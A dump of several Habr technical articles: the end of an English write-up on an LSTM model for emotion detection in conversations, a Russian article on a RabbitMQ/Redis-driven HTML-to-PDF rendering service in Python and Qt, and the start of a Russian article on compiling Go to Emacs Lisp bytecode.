| --- | --- | --- | --- | --- | --- |
| Train | 14.07% | 18.11% | 18.26% | 49.56% | 30160 |
| Dev | 5.15% | 4.54% | 5.45% | 84.86% | 2755 |
| Test | 5.16% | 4.54% | 5.41% | 84.90% | 5509 |
| Distant | 33.33% | 33.33% | 33.33% | 0% | 900k |
In addition to this data, we collected 900k English tweets in order to create a distant dataset of 300k tweets for each emotion. To form the distant dataset, we based on the strategy of Go et al. (2009), under which we simply associate tweets with the presence of emotion-related words such as ’#angry’, ’#annoyed’, ’#happy’, ’#sad, ’#surprised’, etc. The list of query terms was based on the query terms of SemEval-2018 AIT DISC ([Duppada et al., 2018](https://aclweb.org/anthology/papers/S/S18/S18-1002/)).
The key performance metric of EmoContext is a micro-average F1 score for three emotion classes, i.e. ‘sad’, ‘happy’, and ‘angry’.
```
def preprocessData(dataFilePath, mode):
conversations = []
labels = []
with io.open(dataFilePath, encoding="utf8") as finput:
finput.readline()
for line in finput:
line = line.strip().split('\t')
for i in range(1, 4):
line[i] = tokenize(line[i])
if mode == "train":
labels.append(emotion2label[line[4]])
conv = line[1:4]
conversations.append(conv)
if mode == "train":
return np.array(conversations), np.array(labels)
else:
return np.array(conversations)
texts_train, labels_train = preprocessData('./starterkitdata/train.txt', mode="train")
texts_dev, labels_dev = preprocessData('./starterkitdata/dev.txt', mode="train")
texts_test, labels_test = preprocessData('./starterkitdata/test.txt', mode="train")
```
2. Texts Pre-Processing
-----------------------
Before any training stage, texts were pre-processed by text tool Ekphrasis (Baziotis et al., 2017). This tool helps to perform spell correction, word normalization, segmentation, and allows to specify which tokens should be omitted, normalized or annotated with special tags. We used the following techniques for the pre-processing stage.
* URLs, emails, the date and time, usernames, percentage, currencies, and numbers were replaced with the corresponding tags.
* Repeated, censored, elongated, and capitalized terms were annotated with the corresponding tags.
* Elongated words were automatically corrected based on built-in word statistics corpus.
* Hashtags and contractions unpacking (i.e. word segmentation) was performed based on built-in word statistics corpus.
* A manually created dictionary for replacing terms extracted from the text was used in order to reduce a variety of emotions.
In addition, Emphasis provides with the tokenizer which is able to identify most emojis, emoticons, and complicated expressions such as censored, emphasized and elongated words as well as dates, times, currencies, and acronyms.
*Table 3. Text pre-processing examples.*
| Original Text | Pre-Processed Text |
| --- | --- |
| I FEEL YOU… I'm breaking into million pieces | i feel you . i am breaking into million pieces |
| tired and I missed you too :‑( | tired and i missed you too |
| you should liiiiiiisten to this: [www.youtube.com/watch?v=99myH1orbs4](https://www.youtube.com/watch?v=99myH1orbs4) | you should listen to this: |
| My apartment takes care of it. My rent is around $650. | my apartment takes care of it. my rent is around . |
```
from ekphrasis.classes.preprocessor import TextPreProcessor
from ekphrasis.classes.tokenizer import SocialTokenizer
from ekphrasis.dicts.emoticons import emoticons
import numpy as np
import re
import io
label2emotion = {0: "others", 1: "happy", 2: "sad", 3: "angry"}
emotion2label = {"others": 0, "happy": 1, "sad": 2, "angry": 3}
emoticons_additional = {
'(^・^)': '', ':‑c': '', '=‑d': '', ":'‑)": '', ':‑d': '',
':‑(': '', ';‑)': '', ':‑)': '', ':\\/': '', 'd=<': '',
':‑/': '', ';‑]': '', '(^�^)': '', 'angru': 'angry', "d‑':":
'', ":'‑(": '', ":‑[": '', '(�?�)': '', 'x‑d': '',
}
text\_processor = TextPreProcessor(
# terms that will be normalized
normalize=['url', 'email', 'percent', 'money', 'phone', 'user',
'time', 'url', 'date', 'number'],
# terms that will be annotated
annotate={"hashtag", "allcaps", "elongated", "repeated",
'emphasis', 'censored'},
fix\_html=True, # fix HTML tokens
# corpus from which the word statistics are going to be used
# for word segmentation
segmenter="twitter",
# corpus from which the word statistics are going to be used
# for spell correction
corrector="twitter",
unpack\_hashtags=True, # perform word segmentation on hashtags
unpack\_contractions=True, # Unpack contractions (can't -> can not)
spell\_correct\_elong=True, # spell correction for elongated words
# select a tokenizer. You can use SocialTokenizer, or pass your own
# the tokenizer, should take as input a string and return a list of tokens
tokenizer=SocialTokenizer(lowercase=True).tokenize,
# list of dictionaries, for replacing tokens extracted from the text,
# with other expressions. You can pass more than one dictionaries.
dicts=[emoticons, emoticons\_additional]
)
def tokenize(text):
text = " ".join(text\_processor.pre\_process\_doc(text))
return text
```
3. Word Embeddings
------------------
Word embeddings have become an essential part of any deep-learning approaches for NLP systems. To determine the most suitable vectors for emotions detection task, we try Word2Vec ([Mikolov et al., 2013](https://arxiv.org/abs/1310.4546)), GloVe ([Pennington et al., 2014](https://aclweb.org/anthology/papers/D/D14/D14-1162/)) and FastText ([Joulin et al., 2017](https://www.aclweb.org/anthology/papers/E/E17/E17-2068/)) models as well as DataStories pre-trained word vectors ([Baziotis et al., 2017](https://aclweb.org/anthology/S17-2094)). The key concept of Word2Vec is to locate words, which share common contexts in the training corpus, in close proximity in vector space. Both Word2Vec and Glove models learn geometrical encodings of words from their co-occurrence information, but essentially the former is a predictive model, and the latter is a count-based model. In other words, while Word2Vec tries to predict a target word (CBOW architecture) or a context (Skip-gram architecture), i.e. to minimize the loss function, GloVe calculates word vectors doing dimensionality reduction on the co-occurrence counts matrix. FastText is very similar to Word2Vec except for the fact that it uses character n-grams in order to learn word vectors, so it’s able to solve the out-of-vocabulary issue.
For all the techniques mentioned above, we used the default training prams provided by the authors. We train a simple LSTM model (dim = 64) based on each of these embeddings and compare effectiveness using cross-validation. According to the result, DataStories pre-trained embeddings demonstrated the best average F1 score.
To enrich selected word embeddings with the emotional polarity of the words, we consider performing distant pre-training phrase by a fine-tuning of the embeddings on the automatically labeled distant dataset. The importance of using pre-training was demonstrated in ([Deriu et al., 201](https://dl.acm.org/citation.cfm?id=3038912.3052611)7). We use the distant dataset to train the simple LSTM network to classify angry, sad, and happy tweets. The embeddings layer was frozen for the first training epoch in order to avoid significant changes in the embeddings weights, and then it was unfrozen for the next 5 epochs. After the training stage, the fine-tuned embeddings was saved for the further training phases and [made publicly available](https://github.com/sismetanin/emosense-semeval2019-task3-emocontext).
```
def getEmbeddings(file):
embeddingsIndex = {}
dim = 0
with io.open(file, encoding="utf8") as f:
for line in f:
values = line.split()
word = values[0]
embeddingVector = np.asarray(values[1:], dtype='float32')
embeddingsIndex[word] = embeddingVector
dim = len(embeddingVector)
return embeddingsIndex, dim
def getEmbeddingMatrix(wordIndex, embeddings, dim):
embeddingMatrix = np.zeros((len(wordIndex) + 1, dim))
for word, i in wordIndex.items():
embeddingMatrix[i] = embeddings.get(word)
return embeddingMatrix
from keras.preprocessing.text import Tokenizer
embeddings, dim = getEmbeddings('emosense.300d.txt')
tokenizer = Tokenizer(filters='')
tokenizer.fit_on_texts([' '.join(list(embeddings.keys()))])
wordIndex = tokenizer.word_index
print("Found %s unique tokens." % len(wordIndex))
embeddings_matrix = getEmbeddingMatrix(wordIndex, embeddings, dim)
```
4. Neural Network Architecture
------------------------------
A recurrent neural network (RNN) is a family of artificial neural networks which is specialized in the processing of sequential data. In contrast with traditional neural networks, RRNs are designed to deal with sequential data by sharing their internal weights processing the sequence. For this purpose, the computation graph of RRNs includes cycles, representing the influence of the previous information on the present one. As an extension of RNNs, Long Short-Term Memory networks (LSTMs) have been introduced in 1997 ([Hochreiter and Schmidhuber, 1997](https://www.mitpressjournals.org/doi/abs/10.1162/neco.1997.9.8.1735)). In LSTMs recurrent cells are connected in a particular way to avoid vanishing and exploding gradient issues. Traditional LSTMs only preserves information from the past since they process the sequence only in one direction. Bidirectional LSTMs combine output from two hidden LSTM layers moving in opposite directions, where one moves forward through time, and another moves backward through time, thereby enabling to capture information from both past and future states simultaneously ([Schuster and Paliwal, 1997](https://ieeexplore.ieee.org/document/650093)).
*Figure 1: The architecture of a smaller version of the proposed architecture. LSTM unit for the first turn and for the third turn have shared weights.*
A high-level overview of our approach is provided in Figure 1. The proposed architecture of the neural network consists of the embedding unit and two bidirectional LSTM units (dim = 64). The former LSTM unit is intended to analyze the utterance of the first user (i.e. the first turn and the third turn of the conversation), and the latter is intended to analyze the utterance of the second user (i.e. the second turn). These two units learn not only semantic and sentiment feature representation, but also how to capture user-specific conversation features, which allows classifying emotions more accurately. At the first step, each user utterance is fed into a corresponding bidirectional LSTM unit using pre-trained word embeddings. Next, these three feature maps are concatenated in a flatten feature vector and then passed to a fully connected hidden layer (dim = 30), which analyzes interactions between obtained vectors. Finally, these features proceed through the output layer with the softmax activation function to predict a final class label. To reduce overfitting, regularization layers with Gaussian noise were added after the embedding layer, dropout layers ([Srivastava et al., 2014](http://jmlr.org/papers/v15/srivastava14a.html)) were added at each LSTM unit (p = 0.2) and before the hidden fully connected layer (p = 0.1).
```
from keras.layers import Input, Dense, Embedding, Concatenate, Activation, \
Dropout, LSTM, Bidirectional, GlobalMaxPooling1D, GaussianNoise
from keras.models import Model
def buildModel(embeddings_matrix, sequence_length, lstm_dim, hidden_layer_dim, num_classes,
noise=0.1, dropout_lstm=0.2, dropout=0.2):
turn1_input = Input(shape=(sequence_length,), dtype='int32')
turn2_input = Input(shape=(sequence_length,), dtype='int32')
turn3_input = Input(shape=(sequence_length,), dtype='int32')
embedding_dim = embeddings_matrix.shape[1]
embeddingLayer = Embedding(embeddings_matrix.shape[0],
embedding_dim,
weights=[embeddings_matrix],
input_length=sequence_length,
trainable=False)
turn1_branch = embeddingLayer(turn1_input)
turn2_branch = embeddingLayer(turn2_input)
turn3_branch = embeddingLayer(turn3_input)
turn1_branch = GaussianNoise(noise, input_shape=(None, sequence_length, embedding_dim))(turn1_branch)
turn2_branch = GaussianNoise(noise, input_shape=(None, sequence_length, embedding_dim))(turn2_branch)
turn3_branch = GaussianNoise(noise, input_shape=(None, sequence_length, embedding_dim))(turn3_branch)
lstm1 = Bidirectional(LSTM(lstm_dim, dropout=dropout_lstm))
lstm2 = Bidirectional(LSTM(lstm_dim, dropout=dropout_lstm))
turn1_branch = lstm1(turn1_branch)
turn2_branch = lstm2(turn2_branch)
turn3_branch = lstm1(turn3_branch)
x = Concatenate(axis=-1)([turn1_branch, turn2_branch, turn3_branch])
x = Dropout(dropout)(x)
x = Dense(hidden_layer_dim, activation='relu')(x)
output = Dense(num_classes, activation='softmax')(x)
model = Model(inputs=[turn1_input, turn2_input, turn3_input], outputs=output)
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['acc'])
return model
model = buildModel(embeddings_matrix, MAX_SEQUENCE_LENGTH, lstm_dim=64, hidden_layer_dim=30, num_classes=4)
```
5. Results
----------
In the process of searching for optimal architecture, we experimented not only with the number of cells in layers, activation functions and regularization parameters but also with the architecture of the neural network. The detailed info about this phrase can be found in [the original paper](https://www.aclweb.org/anthology/papers/S/S19/S19-2034/).
The model described in the previous section demonstrated the best scores on the dev dataset, so it was used in the final evaluation stage of the competition. On the final test dataset, it achieved 72.59% micro-average F1 score for emotional classes, while the maximum score among all participants was 79.59%. However, this is well above the official baseline released by task organizers, which was 58,68%.
[The source code of the model and word-embeddings](https://github.com/sismetanin/emosense-semeval2019-task3-emocontext) are available at GitHub.
[The full version of the article](https://www.aclweb.org/anthology/papers/S/S19/S19-2034/) and [the task description paper](https://www.aclweb.org/anthology/papers/S/S19/S19-2005/) can be found at ACL Anthology.
[The training dataset](https://www.linkedin.com/feed/update/urn:li:activity:6439879151053836288/) is located at the official competition group at LinkedIn.
Citation:
```
@inproceedings{smetanin-2019-emosense,
title = "{E}mo{S}ense at {S}em{E}val-2019 Task 3: Bidirectional {LSTM} Network for Contextual Emotion Detection in Textual Conversations",
author = "Smetanin, Sergey",
booktitle = "Proceedings of the 13th International Workshop on Semantic Evaluation",
year = "2019",
address = "Minneapolis, Minnesota, USA",
publisher = "Association for Computational Linguistics",
url = "https://www.aclweb.org/anthology/S19-2034",
pages = "210--214",
}
``` | https://habr.com/ru/post/439850/ | null | en | null |
# Генерим PDF бочками
#### Предыстория
На хабре [неоднократно](http://habrahabr.ru/blogs/development/30018/) [упоминались](http://habrahabr.ru/blogs/webdev/111188/) различные [инструменты](http://habrahabr.ru/blogs/webdev/128292/) и способы создания скриншотов WEB страниц.
Хочу поделиться собственным «велосипедом» для создания PDF на Python и QT, дополненным и улучшенным для централизованного использования несколькими проектами.
Изначально генерация запускалась из PHP скрипта, примерно так:
```
php
// локальный файл
exec('xvfb-run python2 html2pdf.py file:///tmp/in.html /tmp/out.pdf');
// или URL
exec('xvfb-run python2 html2pdf.py http://habrahabr.ru /tmp/habr.pdf');
?
```
этого было достаточно и все было хорошо…
#### С чего все началось
Однако xvfb-run на время запуска создает DISPLAY :99 и при нескольких параллельных задачах «девочки ссорились» в логах, но как-то работали.
Благодаря [xpra](http://habrahabr.ru/blogs/sysadm/113928/#comment_3668462) отпала необходимость каждый раз запускать обертку xvfb-run, появилась возможность многократно использовать виртуальный X, девочки помирились, накладные расходы сократились:
`[user@rdesk ~]$ xpra start :99`
И запускать стало возможно так:
```
php
// локальный файл
exec('DISPLAY=:99 python2 html2pdf.py file:///tmp/in.html /tmp/out.pdf');
// или URL
exec('DISPLAY=:99 python2 html2pdf.py http://habrahabr.ru /tmp/habr.pdf');
?
```
Код приложения html2pdf.py, именно он создает браузер, загружает в него HTML и печатает его в PDF файл.
*практически полный copy-paste найденный на просторах сети*
```
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *
import sys
# примитивная проверка передаваемых параметров
if len(sys.argv) != 3:
print "USAGE app.py URL FILE"
sys.exit()
# основная процедура
def html2pdf(f_url, f_name):
# создаем QT приложение
app = QApplication(sys.argv)
# создаем "браузер"
web = QWebView()
# передаем URL для загрузки
web.load(QUrl(f_url))
# создаем принтер
printer = QPrinter()
# размер листа
printer.setPageSize(QPrinter.A4)
# формат печати
printer.setOutputFormat(QPrinter.PdfFormat)
# выходной файл печати
printer.setOutputFileName(f_name)
# непосредственно печать содержимого "браузера" в PDF
def convertIt():
web.print_(printer)
QApplication.exit()
# ждем сигнал от браузера, что страница загружена, после чего "печатаем" PDF
QObject.connect(web, SIGNAL("loadFinished(bool)"), convertIt)
sys.exit(app.exec_())
html2pdf(sys.argv[1], sys.argv[2])
```
Решение было вполне работоспособным, но с очевидным минусом — возможностью работать только с локальными документами. Масштабируемость сводилась к созданию полной копии окружения. Тем временем количество документов увеличивалось, росло и потребление ресурсов.
Назрела необходимость в централизованном решении.
#### Наращиваем мясо
##### Концепция
* Выделенный сервер
* Средство доставки задач для рендера
* Механизм обмена документами
* Общая логика системы
**Средство доставки** — уже был развернут [rabbitmq](http://www.rabbitmq.com/) поэтому логично было использовать имеющиеся ресурсы.
**Обмен документами** — передача исходных HTML на сервер рендера и получение результирующих PDF.
Почему HTML, а не просто «ходить по ссылке»: я не нашел способа отловить завершение загрузки страницы при наличии большого количества js подтягивающего динамический контент -> видны «часики» на результирующем PDF.
Как оказалось позднее в этом нет необходимости. На некоторые документы просто не существует внешних ссылок. Например есть документ А и Б, каждый состоит из 3х параграфов, есть 2 ссылки на полные документы, но реднерить нужно только Ап1 и Бп2. Позже прикрутили дополнительные стили, которые применялись при печати документа, превращаясь в «версию для печати» на лету.
FS, NFS, etc как хранилище промежуточных файлов — были отброшены сразу (увеличивается количество манипуляций при развертывании клиента).
Очевидным выбором был key-value storage. Почти идеально, подходил memcached, если бы не одно но — теряет все записи при перезапуске.
Выбор пал на стершего брата — [Redis](http://redis.io/).
Прост, компактен, быстр, масштабируем, база хранится на диске, вкусные фичи вроде vm/swap
**Общая логика** — «Очевидное, лучше не очевидного» потому я использовал сквозной ID документа как в базе так и в очереди Rabbit:
ID задачи — Q\_app1\_1314422323.65 где:
**Q** от Queue
**app1** — идентификатор проекта-источника
**1314422323.65** Unix timestamp + ms
Результат: R\_app1\_1314422323.65 где:
**R** — Result
##### Архитектура
Описание маршрута:
1. Поступает «заявка» на создание PDF, PHP записывает в базу HTML документ в бинарном формате, формирует ID
2. После записи и проверки существования документа, происходит запись ID в очередь Rabbit
3. Render получает новый ID
4. Render забирает HTML документ из базы по ID
5. Обработка документа (рендеринг)
6. Запись PDF в базу с измененным ID, чистка базы от исходного HTML документа
Feedback окончания генерации не реализован.
Проекты самостоятельно обращаются к базе и проверяют результат
**DB.EXISTS('R\_app1\_1314422323.65')**
##### Реализация
Код сокращен для облегчения восприятия.
```
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import pika, os, time, threading, logging, redis, Queue
RBT_HOST = 'rabbit.myhost.ru'
RBT_QE = 'pdf.render'
RDS_HOST = 'redis.myhost.ru'
LOG = 'watcher.log'
MAX_THREADS = 4
# подкручиваем формат лога
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)-15s - %(threadName)-10s - %(message)s',
filename=LOG
)
def render(msg_id):
# формируем имена временных файлов
output_file = '/tmp/' + msg_id + '.pdf'
input_file = '/tmp/' + msg_id + '.html'
# получаем HTML из базы
logging.debug('[R] Loading HTML from DB...')
dbcon_r = redis.Redis(RDS_HOST, port=6379, db=0)
bq = dbcon_r.get(msg_id)
logging.debug('[R] HTML loaded...')
# сохраняем HTML во временный файл
logging.debug('[R] Write tmp HTML...')
fin1 = open(input_file, "wb")
fin1.write(bq)
fin1.close()
logging.debug('[R] HTML writed...')
# формируем внешнюю команду рендера
command = 'DISPLAY=:99 python2 ./html2pdf.py %s %s' % (
'file://' + input_file,
output_file
)
# засекаем время выполнения
t_start = time.time()
sys_output = int(os.system(command))
t_finish = time.time()
# считаем размеры входного и выходного файлов
i_size = str(os.path.getsize(input_file)/1024)
o_size = str(os.path.getsize(output_file)/1024)
# формируем запись ститистики реднера в log
dbg_mesg = '[R] Render [msg.id:' + msg_id + '] ' +\
'[rend.time:' + str(t_finish-t_start) + 'sec]' + \
'[in.fle:' + input_file + '(' + i_size+ 'kb)]' +\
'[ou.fle:' + output_file + '(' + o_size + 'kb)]'
# пишем log
logging.debug(dbg_mesg)
# читаем PDF
logging.debug('[R] Loading PDF...')
fin = open(output_file, "rb")
binary_data = fin.read()
fin.close()
logging.debug('[R] PDF loaded...')
# меняем ID документа с Q_ на R_
msg_out = msg_id.split('_')
msg = 'R_' + msg_out[1] + '_' + msg_out[2]
# пишем PDF в базу
logging.debug('[R] Write PDF 2 DB...')
dbcon_r.set(msg, binary_data)
logging.debug('[R] PDF commited...')
# подчищаем (временные файлы, записи в БД)
logging.debug('[R] DEL db record: ' + msg_id)
dbcon_r.delete(msg_id)
logging.debug('[R] DEL tmp: ' + output_file)
os.remove(output_file)
logging.debug('[R] DEL tmp: ' + input_file)
os.remove(input_file)
logging.debug('[R] Render done')
# rets
if not sys_output:
return True, output_file
return False, sys_output
def catcher(q):
''' запускается в N потоков и мониторит очередь '''
while True:
try:
item = q.get() # ждём данные в очереди
except Queue.Empty:
break
logging.debug('Queue send task to render: ' + item)
render(item) # передаем данные рендеру
q.task_done() # задача завершена
# запуск
logging.debug('Daemon START')
# создание очереди
TQ = Queue.Queue()
logging.debug('Starting threads...')
# создание пула потоков
for i in xrange(MAX_THREADS):
wrkr_T = threading.Thread(target = catcher, args=(TQ,))
wrkr_T.daemon = True
wrkr_T.start()
logging.debug('Thread: ' + str(i) + ' started')
logging.debug('Start Consuming...')
# основное тело, запускаем консьюмера, пишем в очередь
try:
connection = pika.BlockingConnection(pika.ConnectionParameters(host = RBT_HOST))
channel = connection.channel()
channel.queue_declare(queue = RBT_QE)
def callback(ch, method, properties, body):
TQ.put(body)
logging.debug('Consumer got task: ' + body)
channel.basic_consume(callback, queue = RBT_QE, no_ack = True)
channel.start_consuming()
except KeyboardInterrupt:
logging.debug('Daemon END')
print '\nApp terminated!'
```
#### Немного статистики
На среднем железе, по современным меркам ProLiant DL360 G5 (8 ядер E5410@2.33GHz, 16Гб RAM)
получены результаты:
8 потоков, LA 120
Исходные HTML размером 10Кб...5Мб
~5000 генераций в минуту
Среднее время на документ — 5 секунд
Выявлена интересная зависимость (линейная) между размером исходного HTML и памятью для его обработки:
1Мб HTML = ~17Мб RAM
«Cтресс-тест на выносливость» при размере HTML 370Мб
*Честно говоря ожидал падения в районе WebKit, как оказалось зря.*
Документ был обработан без ошибок, получен PDF из ~28000 страниц и конечно мелочь, что на это ушло ~50 часов и ~12Гб RAM (:
#### Ссылки
[Redis + Python](http://degizmo.com/2010/03/22/getting-started-redis-and-python/)
[Rabbit + Pika](http://www.rabbitmq.com/tutorials/tutorial-one-python.html)
[xpra](http://code.google.com/p/partiwm/wiki/xpra)
Код на [GitHub](https://github.com/x0x01/pyrender) | https://habr.com/ru/post/128078/ | null | ru | null |
# Альтернатива Emacs Lisp'у
Вы когда-нибудь искали альтернативу Emacs Lisp'у? Давайте попробуем добавить в Emacs ещё один язык программирования.
В этой статье:
* Потенциальные преимущества, которые будут получены при возможности расширять Emacs на Go;
* Определим способы взаимодействия Go и Emacs Lisp;
* Затронем некоторые детали реализации описанного транскомпилятора;
Статья может заинтересовать пользователей Emacs'а, а также тех, кому небезразличны все эти бесчисленные реализации бесчисленных языков программирования.
В самом конце статьи представлена ссылка на work in progress проект, который позволяет конвертировать Go в Emacs Lisp.
Выбираем Emacs Go
=================
Как и любой другой язык программирования, Emacs Lisp имеет ряд "недостатков", которые мы будем политкорректно назвать "design tradeoffs". Говорить "лучше" или "хуже" о тех или иных свойствах языка программирования на объективном уровне достаточно сложно, потому что почти всегда найдутся защитники противоположных позиций. Нам же, как пользователям языков программирования, можно стараться выбрать тот язык, чьи компромиссы нам принять проще в силу наших задач или личных предпочтений. Ключевой момент — возможность выбора.
Предположим, что мы выбрали Go. Как вы будете использовать Go для взаимодействия с редактором?
Ваши варианты:
1. Использовать [Emacs модули](http://diobla.info/blog-archive/modules-tut.html) для запуска Go функций. Вдохновение можно черпать из проекта [go-emacs](https://github.com/sigma/go-emacs).
2. Найти (или написать) интерпретатор Go, встроить его в Emacs путём патчинга или теми же **C** модулями, а затем вызывать eval из редактора.
3. Транслировать Go в Emacs Lisp байт-код.
Способов может быть больше, но ни один из них не будет ближе к "нативному" лиспу, чем (3). Он позволяет на уровне исполнения иметь ту же виртуальную машину, что и обычный Emacs Lisp.
Это, в свою очередь, означает, что:
* Emacs Lisp код сможет вызывать транслированный Go код;
* FFI бесплатен. Вызов уже определённой в Emacs функции из Go максимально эффективен;
* Легко распространять сконвертированные пакеты (родной для Emacs формат);
Если вы в первый раз слышите о байт-коде Emacs'а, ознакомьтесь со [статьёй Chris Wellons](http://nullprogram.com/blog/2014/01/04/).
Почему Go?
----------
На месте Go потенциально мог бы быть любой другой язык программирования.
Есть несколько причин из-за которых сделанный выбор становится более обоснованным. Основные из них:
* Компилятор языка внутри стандартной библиотеки;
* Лаконичная спецификация;
* Скромный runtime;
* Tooling;
Есть также те свойства, которые могли бы быть аргументами в пользу выбора, но конкретно для меня они были менее значимыми:
* Go — достаточно популярный язык с С-подобным синтаксисом (т.е. это тебе не Scheme);
* Статическая типизация;
#### Компилятор языка внутри стандартной библиотеки
Пакеты `go/*` **значительно** упрощают написание инструментов для Go.
Не нужно писать parser, typechecker и прочие прелести frontend'а компилятора. За 20 строк кода мы можем получить AST и информацию о типах для целого пакета.
Документация, по большей части, хороша. А для `go/types` на мой взгляд — [образцовая](https://github.com/golang/example/tree/master/gotypes).
Изначально для меня это было убийственным аргументом. Задача казалась на 90% решённой благодаря этому секретному оружию: "осталось только преобразовать AST в байт-код Emacs'а".
**Ложка дёгтя**На практике возникали сложности с теми или иными нюансами.
В первую очередь — запутанность API и дублирование разными пакетами похожих сущностей, да ещё и под одинаковыми именами. Часто одно и то же можно сделать через `go/ast` и `go/types`; не редко вам нужно перемешивать сущности из обоих пакетов (да-да, в том числе те, что с одинаковыми именами).
Ещё на удивление неудобной оказалась работа с import'ами и декларациями (ох уж этот `ast.GenDecl`).
Многие решения, с помощью которых вы можете решить эти проблемы, выглядят как "грязные хаки". Детальное описание этих хаков — это, возможно, материал для отдельной статьи (тем более я не проверял обилие информации на эту тему в интернете, наверняка уже всё успели разжевать и не раз).
#### Лаконичная спецификация
Создать реализацию, которая в *большей степени* (~80%) конформна спецификации — вполне посильная задача для одного человека. Спецификацию Go легко читать, её можно осилить за вечер.
Особенности спецификации:
1. Некоторые моменты вызывают сомнения в однозначности трактовки. Цена краткости;
2. Кроме [спецификации](https://golang.org/ref/spec) есть ещё [Effective Go](https://golang.org/doc/effective_go.html). Без него в спецификации останутся белые пятна;
#### Скромный runtime
Чем больше в языке фич, которые реализуются в библиотеке времени выполнения, тем сложнее их будет транскомпилировать.
Если хотя бы временно выбросить за борт горутины и каналы, то останется компактное ядро, которое вполне можно реализовать в терминах Emacs Lisp без потери производительности.
#### Tooling
Это чертовски приятно, когда многие привычные фичи работают в нескольких твоих любимых редакторах, причём единообразно.
Для Go многие функции, которые обычно переизобретаются для каждой IDE отдельно, реализованы в виде отдельных утилит. Самый простой пример, известный каждому Go разработчику — `gofmt`. В немалой степени этому способствуют упомянутые выше `go/types`,
`go/build` и остальные пакеты из группы `go/*`.
Sublime text, Emacs, Visual Studio Code — выбираешь любой из них, ставишь плагин(ы), и наслаждаешься рефакторингом через `gorename`, множеством линтеров и автоматическими import'ами. А автодополнение… превосходит `company-elisp` во многих аспектах.
Рефакторить и поддерживать проект на Emacs Lisp уже после 1000 строк кода лично мне уже некомфортно. Программировать Emacs на Go чуть ли не удобнее, чем на Emacs Lisp.
Как выглядит Emacs Go
=====================
Пофантазируем на тему того, как мог бы выглядеть Go для Emacs'а. Насколько он был бы удобен и функционален?
Мост типов
----------
Перед тем как говорить непосредственно о вызовах Lisp функций, нужно продумать мост, который соединяет два языка программирования, работающих на одной и той же вычислительной модели.
С примитивными типами вроде `int`, `float64`, `string` и другими всё более-менее просто. И в Go, и в Emacs Lisp эти типы присутствуют.
Интерес представляют слайсы, символьные типы (`symbol`) и беззнаковые целочисленные типы фиксированной разрядности (`uintX`).
* Слайсы реализуем в рантайме (например, на том же Emacs Lisp);
* Символы представляем в виде opaque типа;
* Беззнаковую арифметику с детерминированным переполнением — эмулируем;
Тип, который может выразить "объект произвольного типа", который возвращается Emacs Lisp функцией, назовём `lisp.Object`. Его определение дано под спойлером *lisp.Object: детали реализации*.
**Go slices**Для аналогии: слайсы в Go по своему "интерфейсу" — это `std::vector` из C++, но с возможностью брать полноценный subslice без копирования элементов.
Начнём с интуитивного представления `{data, len, cap}`.
**data** будет вектором, **len** и **cap** — числами. Чтобы хранить атрибуты выбираем improper list, где у нас нет финального nil, чтобы немного экономить память:
`(cons data (cons len cap))`
**Почему список, а не вектор?**Если вкратце, то: выбор между списком и вектором здесь не особо критичен, так что можно было взять вектор.
Более развёрнутый ответ на этот вопрос поможет найти дизассемблер (или [таблица опкодов](https://www.emacswiki.org/emacs/ByteCodeEngineering)). Доступ к спискам из 2-3 элементов — очень эффективный. Чем ближе к голове списка, тем более ощутима разница. Атрибут **data** используется чаще всего, поэтому он в самом начале списка.
При N=4 можно считать, что список начинает уступать по эффективности в случае считывания последнего элемента, но остальные три атрибута всё так же более эффективны в доступе => даже для объектов из четырёх атрибутов я склонен полагать, что список является более удачной структурой, чем вектор.
Оговорка: это всё справедливо для виртуальной машины Emacs'а, её набора инструкций. Вырывать из контекста не стоит.
Операции `slice-get`/`slice-set` будут очень эффективными. У нас будет тот же `aset`/`aget`, но с одной дополнительной инструкцией `car` для извлечения атрибута **data**.
Но что будет, когда нам нужен subslice?
В **C** можно было бы **data** сделать указателем и сместить его, куда нужно. Адресация была бы такой же, 0-based. В нашем случае это невозможно, что приводит к необходимости хранить ещё и offset:
`(cons data (cons offset (cons len cap)))`
Для каждого `slice-get`/`slice-set` теперь нужно к индексу прибавлять offset.
Сравним байт-код для операции `slice-get`.
```
;; Обычный вектор
;; [vector]
;; [vector index]
aref ;; [elem]
;; Slice без offset (не поддерживаем subslice)
;; [slice]
car ;; [data]
;; [data index]
aref ;; [elem]
;; Slice с поддержкой subslice
;; [slice]
dup ;; [slice slice] (1)
car ;; [slice data]
stack-ref 1 ;; [slice data slice]
cdr ;; [slice data slice.cdr]
car ;; [slice data offset]
;; [slice data offset index]
plus ;; [slice data real-index]
aref ;; [slice elem]
stack-set 1 ;; [elem] (2)
;; (1) Поскольку может быть дорогим выражением, мы
;; вычисляем его единожды.
;; (2) Нам требуется восстановить инвариант стека и удалить
;; лишний slice со стека.
```
С помощью нотации выделены выражения, которые могут быть произвольно сложными (от обычного `stack-ref`, до `call` со множеством аргументов). Справа от кода отображено состояние стека данных.
**Opaque types**Некоторые типы мы не захотим/не сможем выразить как Go структуры. К таким типам относятся `lisp.Object`, `lisp.Symbol` и `lisp.Number`.
Главной целью opaque типа для нас является запрет на произвольное создание объектов через литералы. С этим отлично справляются интерфейсные типы с неэкспортируемым методом.
```
type Symbol interface {
symbol()
}
type Object interface {
object()
// Другие методы...
}
// Для создания объектов должна использоваться специальная функция-конструктор.
// Intern returns the canonical symbol with specified name.
func Intern(name string) Symbol
```
Функция `Intern` обрабатывается компилятором по-особому. Другими словами она — intrinsic функция.
Теперь мы можем быть уверены, что у этих особых типов такое API, которое мы хотим им придать, а не то, какое возможно по законам Go.
**lisp.Object**Если `lisp.Object` представляет "любое значение", то почему мы не используем `interface{}`?
Вспомним, что такое `interface{}` в Go — это структура, хранящая в себе динамический тип объекта, плюс сам объект — "данные".
Это не совсем то, чего хотелось бы, потому что для Emacs'а такое представление "чего угодно" не является эффективным. `lisp.Object` нужен для того чтобы хранить unboxed Emacs Lisp значения,
которые легко можно передавать в функции лиспа и получать в качестве результата.
Для того, чтобы можно было получить из `lisp.Object` значение конкретного типа, можно добавить дополнительные методы в его интерфейс.
```
type Object interface {
object()
Int() int
Float() float64
String() string
// ... etc.
// Можно также предоставить следующие методы:
IsInt() bool // Предикат для проверки типа
GetInt() (val int, ok bool) // Для "comma, ok"-style извлечения
// ... аналоги для оставшихся типов.
}
```
